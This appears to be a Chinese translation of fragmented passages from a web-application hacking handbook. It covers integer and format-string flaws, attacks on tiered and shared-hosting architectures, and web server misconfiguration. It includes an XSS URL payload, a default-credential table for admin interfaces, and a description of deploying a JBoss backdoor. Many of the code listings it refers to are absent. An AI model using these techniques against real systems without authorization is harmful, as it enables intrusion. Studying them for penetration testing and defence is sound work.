有些时候，测试字符串可能会被应用程序自身或其他组件（如Web服务器）实施的输入确认检查所阻止。在URL查询字符串中提交超长数据时通常会出现这种情况，应用程序会在针对每个测试字符串的响应中以“URL过长”之类的常规消息反映这一点。在这种情况下，应当进行实验，确定URL允许的最大长度（一般约为2000个字符），并调整缓冲区大小，以使测试字符串符合这个要求。但是，即使实施了常规过滤，溢出可能依然存在；因为长度足够短、能够避开这种过滤的字符串也可能触发溢出。 其他情况下，过滤机制可能会限制在一个特定参数中提交的数据类型或字符范围。例如，当将提交的用户名传送给一个包含溢出漏洞的功能时，应用程序可能会确认该用户名是否仅包含字母数字字符。为实现测试效率最大化，渗透测试员应当设法确保每个测试字符串仅包含相关参数允许的字符。满足这种要求的一个有效方法是，截获一个包含应用程序所接受的数据的正常请求，然后使用其中已经包含的相同类型的字符，创建一个可能通过任何基于内容的过滤的长字符串，再使用这个字符串轮流测试每一个目标参数。 即使确信应用程序中存在缓冲区溢出漏洞，但是，要远程利用它执行任意代码仍然极其困难。NGSSoftware公司的Peter Winter-Smith就盲目缓冲区溢出利用的可能性进行了一些有趣的研究。欲知详情，请参阅以下内容：www.ngssoftware.com/papers/NISR.BlindExploitation.pdf。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 16.2 整数漏洞 如果应用程序在执行某种缓冲区操作前对一个长度值运用某种算法，但却没有考虑到编译器与处理器整数计算方面的一些特点，往往就会出现与整数有关的漏洞。有两种类型的漏洞最值得关注：整数溢出与符号错误。 16.2.1 整数溢出 当对一个整数值进行操作时，如果整数大于它的最大可能值或小于它的最小可能值，就会造成整数溢出漏洞。这时，数字就会“回绕”，使一个非常大的数字变得非常小，或者与之相反。 下面以前面堆溢出漏洞的“修复”代码为例： 在这段代码中，应用程序求出用户提交的用户名的长度，增加一个长度安置字符串最后的空字节，再给它分配一个相应长度的缓冲区，然后将用户名复制到这个缓冲区内。如果使用正常长度的输入，这段代码就能够正常运行。但是，如果用户提交一个65 535个字符的用户名，就会造成整数溢出。一个长度较短的整数包含16位，它足以保存0~65 535之间的值。如果提交一个长度为65 535的字符串，程序会在这个字符串后面增加一个长度，使得这个值“回绕”而变为0。于是应用程序为它分配一个长度为0的缓冲区，把用户名复制到它里面，因而造成堆溢出。这样，即使程序员试图确保目标缓冲区足够大，攻击者仍然能够制造溢出。 16.2.2 符号错误 如果应用程序使用有符号和无符号的整数来表示缓冲区的长度，并且在某个地方混淆这两个整数，或者将一个有符号的值与无符号的值进行直接比较，或者向一个仅接受无符号的值的函数参数提交有符号的值，都会出现符号错误。在上述两种情况下，有符号的值都会被当做其对应的无符号的值处理，也就是说，一个负数变成一个大正数。 下面以前面栈溢出漏洞的修复“代码”为例： 在这段代码中，函数以用户提交的用户名和一个表示其长度的有符号整数为参数。程序员在栈上建立一个固定大小的缓冲区，检查用户名的长度是否小于缓冲区的大小，如果是这样，就执行计数缓冲区复制，确保缓冲区不会溢出。 如果len参数为负数，这段代码就能够正常运行。然而，如果攻击者能够向函数提交一个负值，那么程序员的保护性检查就会失效。仍然可以成功将它与32进行比较，因为编译器会把这两个数字当做有符号的整数处理。因此，这个负值被提交给strncpy函数，成为它的计数函数。因为strncpy仅接受无符号的整数为参数，所以编译器将len值隐含地转换成这种类型；因而负值被当做一个大的正数处理。如果用户提交的用户名字符串长度大于32B，那么缓冲区就会溢出，这种情况和标准栈溢出类似。 通常，实施这种攻击必须满足一个前提，即长度参数由攻击者直接控制。例如，它由客户端JavaScript计算，并在请求中将它所属的字符串一起提交。但是，如果整数变量足够小（例如，非常短），且程序在服务器端计算它的长度，那么攻击者仍然可以通过向应用程序提交一个超长的字符串，借由整数溢出引入一个负值。 16.2.3 查找整数漏洞 自然地，任何时候，只要客户端向服务器提交整数值，我们就可以在这些位置探查整数漏洞。通常这种行为发生在以下两种不同的情况下。 应用程序通过查询字符串参数、cookie或消息主体，以正常形式提交整数值。这些数字一般使用标准的 ASCII 字符，以十进制表示。这时，表示一个同样被提交的字符串长度的字段是我们测试的主要目标。 另外，应用程序可能提交嵌入到二进制数据巨对象中的整数值。这些数据可能源自一个客户端组件，如ActiveX控件，或者通过客户端在隐藏表单字段或cookie中传送（请参阅第5章了解相关内容）。在这种情况下，与长度有关的整数漏洞更难以发现。它们一般以十六进制的形式表示，通常出现在与其关联的字符串或缓冲区之前。请注意，上述二进制数据可能会通过Base64或类似的方案编码，以便于通过HTTP传送。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定测试目标后，需要提交适当的有效载荷，以触发任何漏洞。轮流向每一个目标数据发送一系列不同的值，分别表示不同有符号与无符号整数值的边界情况。例如： 0x7f与0x80（127与128） 0xff与0x100（255与256） 0x7ffff与0x8000（32 767与32 768） 0xffff与0x10000（65 535与65 536） 0x7fffffff与0x80000000（2 147 483 647与2 147 483 648） 0xffffffff与0x0（4 294 967 295与0） （2）如果被修改的数据以十六进制表示，应该发送每个测试字符串的little-endian与big-endian 版本 [1] ，例如，ff7f及7fff。如果十六进制数字以ASCII形式提交，应该使用应用程序自身使用的字母字符，确保这些字符被正确编码。 （3）与上述查找缓冲区溢出漏洞时一样，应该监控应用程序响应中出现的反常事件。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 16.3 格式化字符串漏洞 如果用户可控制的输入被当做格式化字符串参数提交给一个接受可能被滥用的格式说明符的函数（如C语言中的printf系列函数），就会产生格式化字符串漏洞。这些函数接受的参数数量不定，其中可能包含不同的数据类型，如数字和字符串。提交给函数的格式化字符串中包含的说明符告诉函数：变量参数中应包含何种数据，以及这些数据以什么格式表示。 例如，下面的代码输出一条包含以十进制表示的count变量值的消息： 最危险的格式说明符为%n。这个说明符不会导致什么数据被打印。相反，它使已经输出的字节数量被写入到以相关变量参数提交给函数的指针地址中。例如： 它输出： 如果格式化字符串中的说明符比提交给函数的变量参数多，而函数又无法探查到这一点，那么它就会继续处理调用栈中的参数。 如果攻击者能够控制提交给printf之类函数的全部或部分格式化字符串，他就可以利用上述行为重写进程内存的重要部分，并最终执行任意代码。由于攻击者控制着格式化字符串，所以他能够控制函数输出的字节数量以及栈上被输入的字节数量重写的指针。这样，攻击者就能够重写一个已保存的返回地址或者一个指向异常处理器的指针，进而控制代码执行，就像在栈溢出中一样。 查找格式化字符串漏洞 在远程应用程序中探查格式化字符串漏洞的最有效方法是，提交包含各种格式说明符的数 据，并监控应用程序的任何反常行为。与不受控制地触发缓冲区溢出漏洞可能造成的后果一样，在一个易受攻击的应用程序中探查格式化字符串漏洞可能会导致系统崩溃。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）轮流向每个目标参数提交包含大量格式化说明符%n与%s的字符串： 注意，基于安全考虑，一些格式化字符串操作可能会忽略%n说明符。相反，提交%s说明符将会使函数废弃栈上的每一个参数，如果应用程序易于受到攻击，就可能会导致非法访问。 （2）Windows FormatMessage函数以一种不同的方式使用printf系列函数中的说明符。为测试调用这个函数是否易于受到攻击，应该使用以下字符串： （3）记得将%字符URL编码成%25。 （4）与上述查找缓冲区溢出漏洞时一样，应该监控应用程序响应中出现的反常事件。 黑客攻防技术宝典：Web实战篇（第2版） 16.4 小结 与针对Web应用程序的攻击相比，本地代码中的软件漏洞造成的威胁相对较小。大多数应用程序在托管执行环境下运行，本章描述的典型软件漏洞并不会发生。然而，有些时候，这类漏洞可能会频繁发生，并影响到许多在硬件设备与其他非托管环境下运行的Web应用程序。向服务器提交一组特殊的测试字符串并监控其响应，即可发现大多数软件漏洞。 本地应用程序中的一些漏洞（如本章描述的“一位偏移”漏洞）相对较易被攻击者利用。但是，许多时候，由于攻击者只能远程访问易受攻击的应用程序，利用它们就变得非常困难。 与查找大多数其他类型的Web应用程序漏洞不同，如果应用程序易受攻击，即使是在其中探查典型的软件漏洞也可能会导致拒绝服务风险。因此，在进行这种测试前，必须确保应用程序所有者接受与其相关的潜在风险。 黑客攻防技术宝典：Web实战篇（第2版） 16.5 问题 欲知问题答案，请访问http://mdsec. net/wahh。 （1）如果不采用特殊的防御措施，为什么栈缓冲区溢出比堆溢出更容易被攻击者利用？ （2）在C与C++语言中，字符串的长度如何决定？ （3）与在因特网上运行的所有权Web应用程序中存在的溢出漏洞相比，非定制网络设备中存在的缓冲区溢出漏洞为什么更可能被攻击者所利用？ （4）下面的模糊漏洞字符串为什么无法确定许多格式化字符串漏洞？ （5）假设在一个大量使用本地代码组件的Web应用程序中探查缓冲区溢出漏洞，发现了某个请求的一个参数可能存在漏洞，然而无法让监控到的反常行为再次发生。有时，提交一个长度较长的值会立即造成系统崩溃，有时则需要重复提交几次才能导致崩溃。另外，如果提交大量“良性”请求也会引起系统崩溃。 什么原因最有可能导致应用程序出现这种行为？ [1] big-endian和little-endian是用来表述一组有序的字节数存放在计算机内存中时的顺序的术语。big-endian是将高位字节（序列中最重要的值）先存放在高地址处的顺序，而little-endian是将低位字节（序列中最不重要的值）先存放在低地址处的顺序。——译者注 黑客攻防技术宝典：Web实战篇（第2版） 第17章 攻击应用程序架构 当 评估某个应用程序的安全状态时，Web应用程序架构经常被忽略，但实际上它是一个重要的安全领域。在常用的分层架构中，如果无法隔离不同的层次，攻击者就可以利用某个层次中的一个漏洞完全攻破其他层次，进而控制整个应用程序。 如果多个应用程序在相同的基础架构上运行，或者共享一个用途更广泛的支配型应用程序的公共组件，这些环境也会造成其他不同类型的安全威胁。在这些情况下，攻击者有时可能利用应用程序中的漏洞或恶意代码攻破整个环境以及其他属于不同客户的应用程序。最近流行的“云计算”增加了许多组织遭受此类攻击的可能性。 本章讨论一系列不同类型的架构配置，并说明如何利用应用程序架构中存在的缺陷扩大攻击范围。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 17.1 分层架构 许多Web应用程序使用多层架构，在这个架构中，应用程序用户界面、业务逻辑与数据存储分别位于不同的层次中，这些层次可能采用各种技术，并在不同的计算机上运行。"},
    {"text": "一个常用的三层架构可分为以下层次： 展现层，执行应用程序的界面； 应用程序层，执行核心应用程序逻辑； 数据库层，存储并处理应用程序数据。"},
    {"text": "了解多层模型可帮助渗透测试员确定实施各种安全防御（如访问控制与输入确认）的位置，以及如何穿越层次边界来破坏这些防御，从而对Web应用程序实施有效攻击。"},
    {"text": "可以利用不同层之间的信任关系扩大攻击范围，从一个层侵入到另一个层。 如果不同层之间没有完全隔离，就可以利用某一层存在的缺陷直接破坏另一层实施的安全保护。 局部攻破一个层后，就可以直接攻击其他层的基础架构，从而将攻击扩大到其他层。"},
    {"text": "如果该应用程序层决定准予一个请求，它就向其他层发出相关命令，以执行被请求的操作。 其他层相信准予请求的应用程序层，认为它已经实施了严格的访问控制检查，因而执行它们从该应用程序层收到的全部命令。"},
    {"text": "而且，如果管理员正在调查一起意外事件或安全违反行为，只通过查阅信任层中的审计日志通常并不足以帮助他们完全了解事件的整个发生过程，因为他们只能确定可信层是引发事件的媒介。"},
    {"text": "例如，发生 SQL 注入攻击后，数据库日志可能会记录攻击者注入的每一个查询，但要确定哪一名用户是攻击者，还必须将这些事件与应用程序层中的日志记录进行交叉参考，因为通过日志记录无法确定攻击者。"},
    {"text": "2．破坏其他层 如果应用程序的不同层之间没有完全隔离，那么攻破一个层的攻击者就可以直接破坏另一个层实施的安全保护，从而执行这个层负责控制的操作或访问其中的数据。"},
    {"text": "访问解密算法 通常，为满足PCI等管理或法规要求，许多应用程序都会对敏感的用户数据进行加密，以最大限度地降低应用程序被攻破造成的影响。"},
    {"text": "虽然可以对密码进行“加salt散列”处理，以确保即使数据存储被攻破，攻击者仍然无法确定密码，但对于应用程序需要将其恢复为明文值的数据，则需要采用不同的处理方法。"},
    {"text": "在这种架构中，如果Web应用程序层中的一个文件泄露漏洞，其本身并不会造成严重的缺陷，但却可以导致攻击者无限制地访问应用程序的所有数据，因为MySQL数据保存在可读的文件中，且Web应用程序进程通常有权读取这些文件。 即使数据库对它的数据实施了严格的访问控制，而且应用程序使用一系列低权限的账户连接数据库，但如果攻击者能够直接访问保存在数据库层中的数据，他仍然可以完全避开这些保护。"},
    {"text": "图17-1 一个包含查看选中文件功能的应用程序 如果这个功能包含一个路径遍历漏洞（请参阅第10章了解相关内容），那么攻击者就可以利用这个漏洞直接访问保存在MySQL数据库中的任意数据，从而破坏在数据库层实施的访问控制。"},
    {"text": "图17-2 一个破坏数据库层，获取任意数据的攻击 提示 如果攻击者具有文件写入访问权限，就可以尝试对应用程序的配置或托管的虚拟目录执行写入操作，以执行相关命令。"},
    {"text": "很明显，这些情况会导致信息披露，但攻击者不一定能够扩大攻击范围，以进一步攻破整个系统（如第10章所述，通过远程文件包含无法达到这一目的）。"},
    {"text": "例如，某应用程序在以下URL的country参数中提交用户输入： http://eis/mdsecportal/prefs/preference_2?country=en-gb 用户可以修改country参数来包含任意文件。"},
    {"text": "例如，以下文件： /var/lib/php5/sess_9ceed0645151b31a494f4e52dabd0ed7 可能包含下列内容，其中包含用户配置的昵称： 攻击者可以对这种行为加以利用。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）对于在应用程序中已确定的任何漏洞，应发挥想象，考虑如何利用这个漏洞实现渗透测试目标，这是贯穿全书的主题。无数针对Web应用程序实施的成功攻击，最初都是从利用一个内部影响有限的漏洞开始的。通过利用信任关系并破坏应用程序其他地方实施的控制，渗透测试员就有可能利用一个看似细微的缺陷，实施严重的攻击。 （2）如果能在任何应用程序组件上执行任意命令，并能够与其他主机建立网络连接，应考虑向网络与操作系统层面中的应用程序其他基础架构发动直接攻击，以扩大攻击范围。 17.1.2 保障分层架构的安全 如果以严谨的方式执行多层架构，该架构就可以显著提高应用程序的安全，因为它能够将一次成功攻击的影响控制在局部。在前面描述的基本LAMP配置中，所有组件都在一台计算机上运行，攻破其中一个层就可能导致整个应用程序被完全攻破。在更安全的架构中，攻击者攻破一个层，只能部分控制应用程序的数据与处理操作，因而其造成的影响有限，可能仅局限于被攻破的层中。 1．尽量减少信任关系 每个层应尽可能实施自己的控制，防止未授权操作；并不得信任其他应用程序组件，以阻止该层可能有助于防御的安全违反。以下是将这个原则应用于不同应用程序层的一些实例。 应用程序服务器层应对特殊的资源与 URL 路径实施基于角色的访问控制。例如，应用程序服务器应核实所有访问/admin路径的请求均由管理用户提出，也可以对各种资源（如特殊类型的脚本与静态资源）实施访问控制。这样做可以减轻Web应用程序层存在的某些访问控制缺陷造成的影响，因为如果用户无权访问某些功能，那么他们提出的请求在到达这个层之前就已经被阻止。 数据库服务器层可以为应用程序的不同用户和操作提供各种权限的账户。例如，可以给未通过验证的用户分配一个只读访问权限的低权限账户，且该账户只能访问一部分数据。 至于已通过验证的不同类型的用户，可以向他们分配各种数据库账户，并根据用户的角色，允许其读取和写入不同的应用程序数据。这样做可以减轻许多SQL注入漏洞造成的影响，因为即使攻击取得成功，攻击者也只能访问用户合法使用应用程序时所能获得的数据。 所有应用程序组件可以使用拥有正常操作所需的最低权限的操作系统账户运行。这样做可以减轻这些组件中存在的任何命令注入或文件访问漏洞造成的影响。在设计合理并得到充分强化的架构中，攻击者就无法利用这种漏洞访问敏感数据或执行未授权操作。 2．隔离不同的组件 应尽可能地将每个层隔离开来，避免它们在无意间彼此交互。为实现这个目标，有些时候可能需要在不同的主机上运行不同的组件。以下是应用这个原则的一些实例。 一个层不得读取或写入其他层使用的文件。例如，应用程序层不得访问任何用于保存数据库数据的物理文件，它只能通过一个适当权限的用户账户，以指定的方式使用数据库查询访问这些数据。 对不同基础架构组件之间的网络级访问进行过滤，仅允许需要与不同应用程序层彼此通信的服务。例如，执行应用程序主要逻辑的服务器只能通过用于进行 SQL 查询的端口与数据库服务器交互。这种防范并不能阻止利用这种服务针对数据库层的攻击，但它能够阻止以数据库服务器为对象的基础架构攻击，并且能够防止攻破操作系统的攻击者到达组织的内部网络。 3．应用深层防御 根据架构所使用的技术，我们可以在架构的不同组件内实施各种保护措施，以达到将某个成功攻击的影响限制在局部的目的。以下是实施这些控制的一些实例。 应根据配置与漏洞补丁，把每台主机上的技术栈的各个层面进行安全强化。如果服务器的操作系统存在缺陷，那么拥有低权限账户的攻击者就可以利用一个命令注入漏洞提升自己的权限，从而完全控制整个服务器。如果其他主机没有得到强化，这种攻击就可能会在整个网络中扩散。另一方面，如果基础服务器安全可靠，攻击造成的影响会被完全局限在一个或几个应用程序层中。 应对保存在任何应用程序层中的数据进行加密，以防止攻破该层的攻击者轻松获得这些数据。用户证书和其他敏感信息（如信用卡号），应以加密形式保存在数据库中。如有可能，应使用内置保护机制保护保存在Web应用程序层中的数据库证书。例如，在ASP.NET 2.0中，加密的数据库连接字符串可保存在web.config 文件中。"},
    {"text": "这些服务包括组织通过其访问Web与数据库服务器的简单主机服务，以及代表组织主动维护应用程序的成熟应用程序服务提供商（Application Service Provider，ASP）。"},
    {"text": "服务提供商的一名恶意客户可能试图破坏该组织的应用程序及其数据。 一名不知情的客户可能部署一个易受攻击的应用程序，使得恶意客户能够攻破共享的基础架构，从而攻击组织的应用程序及其数据。"},
    {"text": "在共享系统中运行的Web站点是企图丑化尽可能多的Web站点的“脚本小子”的主要攻击目标，因为只要攻破一台共享主机，他们就能在短期内向数百台明显自治的Web站点实施攻击。"},
    {"text": "它通过Host消息头达到这个目的，在HTTP 1.1中，请求中必须包含该消息头。 当浏览器提出一个HTTP请求时，请求中即包含一个Host消息头，该消息头中含有相关URL中的域名；"},
    {"text": "图17-5 一家典型应用程序服务提供商的组织结构 17.2.3 攻击共享环境 共享主机与ASP环境引入一系列新的潜在漏洞，攻击者可利用它们针对共享基础架构中的一个或几个应用程序进行攻击。 1．针对访问机制的攻击 因为各种外部组织需要更新与定制共享环境中的不同应用程序，提供商必须执行实现这种远程访问的机制。"},
    {"text": "如果主机服务提供一个数据库，客户可能需要直接访问数据库，以配置数据库设置，获取应用程序保存的数据。 这时，提供商可执行一个实现某些数据库管理功能的接口，或者通过因特网提供数据库服务，允许客户直接建立连接，并使用他们自己的工具。"},
    {"text": "在成熟的ASP环境中，各种类型的客户需要对共享应用程序的组件进行不同程度的定制，这时，提供商通常会运行功能强大的应用程序，帮助客户完成这些任务。"},
    {"text": "管理应用程序中存在的任何漏洞都可能会导致恶意客户，甚至是匿名用户破坏其他客户的应用程序，还会使拥有有限权限的客户能够更新应用程序的皮肤，从而提升其权限，或者修改应用程序核心功能组件，以实现他们的目的。 如果部署了这种类型的管理应用程序，那么该应用程序中存在的任何漏洞都可能会导致针对终端用户访问的共享应用程序的攻击。"},
    {"text": "例如，下面的 Perl 脚本在服务器上运行一个远程命令工具： 从因特网上访问以下这段脚本，客户就能够在服务器上执行任意操作系统命令： 由于恶意客户的命令以Apache用户的身份执行，这很可能使得该客户能够访问属于共享主机服务其他客户的脚本和数据。"},
    {"text": "易受攻击的应用程序间的攻击 即使共享环境中的所有客户全都并无恶意，且仅上传经过环境所有者确认的合法脚本，但如果个别用户对存在于应用程序中的漏洞并不知情，应用程序之间的攻击仍有可能发生。 在这种情况下，恶意用户可以利用某个应用程序中的漏洞攻破该应用程序以及共享环境中的所有其他应用程序。"},
    {"text": "攻击者可以利用某个应用程序中的SQL注入漏洞在共享数据库中执行任意 SQL 查询。 如果没有完全隔离访问数据库的不同客户，攻击者就可以读取并修改所有应用程序使用的数据。 攻击者可以利用某个应用程序中的路径遍历漏洞读取或写入服务器文件系统中的任意文件，包括那些属于其他应用程序的文件。 攻击者可以采用与前面描述的恶意客户使用的方法类似的方法，利用某个应用程序中的命令注入漏洞攻破服务器以及服务器上运行的其他应用程序。"},
    {"text": "由于客户可以按照自己的需求对核心应用程序功能进行定制，因此定制应用程序的用户可以利用某名客户引入的漏洞攻击主共享应用程序，从而窃取所有ASP客户的数据。 除这些攻击以外，由于共享应用程序的各种组件必须彼此交互，因而恶意客户或用户能够攻破其他共享的应用程序，如下所示。"},
    {"text": "例如，如果攻击者能够在日志文件条目、支付记录或者个人联系信息中注入JavaScript代码，他们就可以劫持一名ASP级用户的会话，从而访问敏感的管理功能。"},
    {"text": "（2）如果使用一个所有权应用程序，以方便客户配置和定制共享环境，考虑是否能够以这个应用程序为攻击目标，攻破该环境本身及其中运行的所有应用程序。 （3）如果能够在某个应用程序中执行命令、注入SQL脚本或访问任意文件，仔细研究，看是否能够以此扩大攻击范围，攻破其他应用程序。 （4）如果渗透测试员正在攻击一个使用ASP主机的应用程序，且该应用程序由许多共享与定制组件构成，确定其中的任何共享组件，如日志机制、管理功能以及数据库代码组件，尝试利用这些组件攻破应用程序的共享部分，进而攻破其他应用程序。"},
    {"text": "（5）如果所有共享环境使用一个常用的数据库，使用NGSSquirrel之类的数据库扫描工具，对数据库配置、补丁级别、表结构以及许可进行全面审查。"},
    {"text": "由于基于Web的平台并不像传统的客户端/服务器可下载的产品那样经过严格的测试，因此，在支持云服务的Web应用程序中发现的漏洞也往往不为人们所了解。"},
    {"text": "虽然存在缺陷的访问控制会使攻击者能够未授权访问工作流程应用程序中的敏感文档，但在云自助服务应用程序中，这种缺陷可能会导致攻击者能够未授权访问服务器或服务器集群。"},
    {"text": "如果系统被克隆，拥有其中一个克隆系统的攻击者就可以确定用于生成随机数字的熵源，这些信息又可用于更准确地预测随机数字发生器的状态。"},
    {"text": "基于令牌的访问 用户需要定期调用大量云资源，为此，用户需要在客户端上存储一个永久身份验证令牌，以免输入密码，并用于标识设备（相对于用户）。"},
    {"text": "为发挥效率，Web存储必须支持某种标准的浏览器或浏览器扩展、一系列技术和HTTP扩展（如WebDAV），并且通常需要支持存入缓存或基于令牌的证书（如上所述）。"},
    {"text": "17.2.4 保障共享环境的安全 由于使用相同工具的客户可能怀有恶意企图，以及不知情的客户可能无意中在环境中引入漏洞，因此，共享环境给应用程序安全带来了新的威胁。 为解决这种双重威胁，设计共享环境时必须仔细处理客户访问、隔离与信任关系，并实施并不直接适用于单主机应用程序的控制。 1．保障客户访问的安全 无论向客户提供何种机制来帮助他们维护自己控制的内容，都应防止这种机制被第三方和恶意客户未授权访问。"},
    {"text": "虽然安全模式能够提供有用的防御，但由于它需要操作系统信任应用程序层，以控制它的操作，因此，从架构上讲，在这里控制恶意或易受攻击的应用程序造成的影响并不合适。"},
    {"text": "如果一个数据库存储过程之类的共享组件接收从某一名客户的定制组件发出的数据，那么就不应信任这些数据，就好像它们是由终端用户送出的一样。"},
    {"text": "每个组件都应对它的信任边界以外的相邻组件进行严格的安全测试，确定其中存在的、攻击者可以利用易受攻击的组件或恶意组件攻破其他应用程序的漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 17.3 小结 Web应用程序架构中实施的安全控制可帮助应用程序所有者显著改善他们部署的应用程序的安全状态。但是，如果应用程序架构中存在缺陷与疏忽，攻击者就可以利用它们进一步扩大攻击范围，通过一个组件攻击另一个组件，最终攻破整个应用程序。 另一方面，共享主机与基于ASP的环境也引发了一系列新的、难以解决的安全问题，包括单主机应用程序中并不存在的信任边界。如果攻击者想要攻击共享环境中的一个应用程序，他就应该集中精力对共享环境实施攻击，确定是否可以通过其中的某个应用程序攻破这个环境，或者利用一个易受攻击的应用程序攻击其他应用程序。 黑客攻防技术宝典：Web实战篇（第2版） 17.4 问题 欲知问题答案，请访问http://mdsec. net/wahh。 （1）假设受攻击的应用程序使用两台不同的服务器：一台应用程序服务器和一台数据库服务器。已经发现一个漏洞，可以在应用程序服务器上执行任意操作系统命令。是否可以利用这个漏洞获取保存在数据库中的敏感应用程序数据？ （2）在另外一种情形中发现了一个SQL注入漏洞，可以利用它在数据库服务器上执行任意操作系统命令。是否可以利用这个漏洞攻破应用程序服务器？例如，是否可以修改保存在应用程序服务器中的应用程序脚本以及向用户返回的内容？ （3）在攻击共享环境中的一个Web应用程序时，与ISP签订合约后，在所针对的同一台服务器上获得了一些Web空间，可以向其中上传PHP脚本。 是否可以利用这种情况攻破目标应用程序？ （4）Linux、Apache、MySQL与PHP等架构组件常安装在同一台物理服务器上。为何这样做会削弱应用程序架构的安全状况？ （5）如何找到证据来证明所攻击的应用程序由某个应用程序服务提供商托管？ 黑客攻防技术宝典：Web实战篇（第2版） 第18章 攻击Web服务器 与 任何其他应用程序一样，Web应用程序也依赖于支持它的其他技术栈（technology stack），包括Web服务器、操作系统与网络基础架构。这些组件中的任何一个都可能成为攻击者的目标，应用程序依赖的技术往往可使攻击者能够完全攻破整个应用程序。 本书主要讨论渗透测试员如何攻击Web应用程序，因此大多数上述类型的攻击不在本书的讨论范围之内，但针对Web服务器层的攻击以及相关应用程序层的防御是个例外。内联防御通常用于保障Web应用程序的安全及识别攻击。避开这些防御是攻破应用程序的关键步骤。 迄今为止，我们并未对Web服务器与应用程序服务器进行区分，因为各种攻击主要针对的是应用程序的功能，无论应用程序以何种方式提供这些功能。实际上，大部分表示层、与后端组件的通信，以及核心安全框架都可能由应用程序容器管理。这就进一步扩大了攻击范围。很明显，如果实现这些框架的技术存在任何漏洞，可用于直接攻破应用程序，这些漏洞将会引起攻击者的关注。 本章主要讨论如何利用Web服务器中存在的漏洞攻击其上运行的Web应用程序。当攻击Web服务器时，渗透测试员可以利用的漏洞分为两大类：服务器配置缺陷和应用程序服务器软件中的安全漏洞。相关漏洞的列表可能并不全面，因为这类软件总是在不断变化，但本章介绍的漏洞将说明各种应用程序在执行自己的本地扩展、模块或API，或访问外部功能时可能遇到的常见危险。 在本章中，我们还将分析Web应用程序防火墙，介绍其优缺点，并详细说明如何突破这些防火墙以实施攻击的常用方法。 黑客攻防技术宝典：Web实战篇（第2版） 18.1 Web服务器配置缺陷 即使最简单的Web服务器也带有大量控制其行为的配置选项。以前发布的许多服务器含有不安全的默认选项，如果不对它们进行强化，可能会使攻击者有机可乘。 18.1.1 默认证书 许多Web服务器包含可被公众访问的管理接口。这些接口可能位于Web根目录的某个特定位置，或者在8080或8443端口上运行。通常，管理接口使用众所周知的默认证书，这些证书在安装 时不需要进行修改。 一些最常见的管理接口的默认证书如表18-1所示。 表18-1 一些常见管理接口的默认证书 用 户 名 密 码 Apache Tomcat admin （无） tomcat tomcat root root Sun JavaServer admin admin Netscape Enterprise Server admin admin Compaq Insight Manager administrator administrator anonymous （无） user user operator operator user public Zeus admin （无） 除Web服务器上的管理接口外，大量设备（如交换机、打印机与无线接入点）还使用禁止修改其默认证书的Web接口。以下资源列出了大量技术的默认证书： www.cirt.net/passwords www.phenoelit-us.org/dpl/dpl.html"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查应用程序解析过程中得到的结果，确定应用程序使用的、可能包含可访问的管理接口的Web服务器与其他技术。"},
    {"text": "1．调试功能 通常，为方便管理员进行诊断而设计的功能对攻击者极其有用，因为其中包含与服务器和它上面运行的应用程序的配置及与运行状态有关的重要信息。"},
    {"text": "因此，攻击者只需在URL中包含脚本标签，如/test/jsp/dump.jsp?%3Cscript%3Ealert(%22xss%22)%3C/script%3E，即可实施跨站点脚本攻击。"},
    {"text": "图18-2 Apache Tomcat中的默认SessionsExample脚本 3．强大的功能 许多Web服务器软件包含一些公众无法访问的强大功能，但终端用户通过某种方式可以访问这些功能。"},
    {"text": "常见的渗透测试框架能够自动完成以下过程：扫描默认证书、上传包含后门的Web档案，然后执行该档案以获取远程系统上的命令外壳，如图18-3所示。"},
    {"text": "图18-4 JMX控制台包含可用于部署任意WAR文件的功能 例如，以下URL将上传一个包含后门的cmdshell.jsp页面： 如图18-5所示，该URL将成功创建可执行以下代码的服务器端后门： 图18-5 使用JMX控制台在JBoss服务器上部署后门WAR文件的成功攻击 然后，内置的部署扫描器会自动将木马WAR文件部署到JBoss应用程序服务器中。"},
    {"text": "部署该文件后，即可以在新建的cmdshell应用程序中访问这个文件，在本示例中，其中仅包含cmdshell.jsp： 注解 要解决上述问题，需要将GET和POST方法仅限于管理员使用。"},
    {"text": "例如，SYS.OWA_UTIL.CELLSPRINT过程可用于执行任意数据库查询，从而获取敏感数据： 为防止这种攻击，Oracle引入一个名为PL/SQL排除列表（Exclusion List）的过滤器。"},
    {"text": "该过滤器检查被访问的包的名称，并阻止攻击者访问任何以下面的表达式开头的包： 该过滤器旨在阻止攻击者访问数据库中功能强大的默认功能。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）Nikto之类的工具可有效确定大多数默认的Web内容。第4章描述的应用程序解析过程应已确定所针对的服务器中的绝大多数默认内容。 （2）使用搜索引擎和其他资源确定与已知应用程序使用的技术有关的默认内容与功能。如果可能，可在本地计算机上安装这些技术，从中查找任何可在渗透测试中利用的默认功能。 18.1.3 目录列表 当Web应用程序收到一个访问目录而非真实文件的请求时，它会以下面这3种方式进行响应。 它返回目录中的一个默认资源，如index.html。 它返回一个错误，如HTTP状态码403，表示请求被禁止。 它返回一个列表，显示目录的内容，如图18-6所示。 图18-6 目录列表 许多时候，目录列表（directory listing）并不会造成安全威胁。例如，泄露一个图像目录的索引根本不会引起任何不良后果。确实，人们常常有意泄露目录列表，因为它们有助于在包含静态内容的站点间导航，如前例所示。但是，基于以下两个主要原因，获得目录列表有利于攻击者对应用程序实施攻击。 许多应用程序并不对它们的功能与资源实施正确的访问控制，而是依赖于攻击者忽略用于访问敏感内容的URL（请参阅第8章了解相关内容）。 日志、备份文件、旧版脚本等文件与目录经常被无意遗漏在服务器的Web根目录中。 在上述两种情况下，真正的漏洞位于其他地方，其原因在于没有对敏感数据实施正确的访问控制。但是，由于这些漏洞极其普遍，不安全的资源的名称可能很难猜测，因此，这时获得目录列表对攻击者而言非常重要，往往可以让他们迅速攻破整个应用程序。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 向在应用程序解析过程中发现的Web服务器上的每一个目录提出一个请求，确定任何返回目录列表的场合。 注解 